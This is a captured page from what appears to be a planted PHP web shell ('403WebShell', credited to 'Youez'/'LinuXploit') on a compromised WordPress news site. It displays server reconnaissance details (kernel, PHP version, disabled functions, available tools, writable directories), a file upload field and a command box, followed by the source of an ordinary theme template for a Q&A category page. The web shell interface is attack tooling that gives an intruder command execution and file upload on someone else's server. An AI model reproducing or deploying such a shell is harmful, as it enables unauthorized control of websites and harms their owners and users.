AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/TempParts/Ask/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/TempParts/Ask/category.php
<?php
/**
 * 问答首页
 */
b2_redirect_404('ask');
get_header();

$term = get_queried_object();

if(!isset($term->term_id)){
    wp_safe_redirect(B2_HOME_URI.'/404');
    exit;
}

$term_id = $term->term_id;

$paged = get_query_var('paged');
$paged = $paged ? $paged : 1;
$count = b2_get_option('ask_main','ask_page_count');
$offset = ($paged -1)*$count;
$tax_img = get_term_meta($term_id,'b2_tax_img',true);
$tax_img = b2_get_thumb(['thumb'=>$tax_img,'width'=>100,'height'=>100]);
?>

<?php do_action('b2_ask_home_top'); ?>

<div class="b2-single-content wrapper mg-b">

    <?php do_action('b2_ask_home_before'); ?>

    <div id="primary-home" class="content-area wrapper box ask-archive b2-radius" ref="askarchive" data-paged="<?php echo $paged; ?>" data-count="<?php echo $count; ?>" data-term="<?php echo $term_id; ?>">

        <?php
            do_action('b2_ask_archive_content_before');
        ?>
        <div class="ask-top">
            <div class="ask-search-box">
                <div class="b2flex">
                    <h1><?php echo $term->name;?></h1>
                    <div>
                        <a href="<?php echo b2_get_custom_page_url('po-ask'); ?>" target="_blank" class="b2-color"><?php echo __('提问','b2').b2_get_icon('b2-arrow-right-s-line'); ?></a>
                    </div>
                </div>
                <div class="ask-search-input"><input type="text" v-on:keyup.enter="search" v-model="opt.s" placeholder="<?php echo __('搜索','b2'); ?>"/><button class="text" @click="search"><?php echo __('搜索','b2'); ?></button></div>
            </div>
            <div class="ask-bar b2flex">
                <div>
                    <span :class="{'picked':opt.type == 'hot'}" @click="fliter('hot')">热门</span>
                    <span :class="{'picked':opt.type == 'last'}" @click="fliter('last')">最新</span>
                    <span :class="{'picked':opt.type == 'waiting'}" @click="fliter('waiting')">等待回答</span>
                </div>
            </div>
            <!-- <img src="<?php echo $tax_img; ?>" class="ask-a-img"/> -->
        </div>
        <?php    
            get_template_part( 'TempParts/Ask/archive');

            do_action('b2_ask_archive_content_after');
        ?>
        <pagenav-new class="ask-list-nav" ref="infonav" navtype="post" :pages="opt['pages']" type="p" box=".ask-list-box" :opt="opt" :api="api" :rote="true" url="<?php echo get_post_type_archive_link('ask'); ?>" title="<?php echo $name; ?>" @return="get"></pagenav-new>
    </div>
    
    <?php 
        get_sidebar(); 
    ?>

</div>
<div class="ask-list-b">
    <ul>
        <?php 
            $_pages = 0;
            $args = [
                'offset'=>$offset,
                'post_status'=>'publish',
                'include_children' => true,
                'posts_per_page'=>$count,
                'post_type'=>'ask',
                'tax_query' => array(
                    array (
                        'taxonomy' => 'ask_cat',
                        'field' => 'term_id',
                        'terms' => $term_id
                    )
                ),
            ];

            $topic_query = new \WP_Query( $args );

            if ( $topic_query->have_posts()) {
                $_pages = $topic_query->max_num_pages;
                while ( $topic_query->have_posts() ) {
                    $topic_query->the_post();

                    get_template_part( 'TempParts/Ask/ask','item');

                }
                
            }
            wp_reset_postdata();
        ?>
    </ul>
    <?php
        $pagenav = b2_pagenav(array('pages'=>$_pages,'paged'=>$paged)); 
        if($pagenav){
            echo '<div class="b2-pagenav collection-nav post-nav box">'.$pagenav.'</div>';
        }
    ?>
</div>
<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit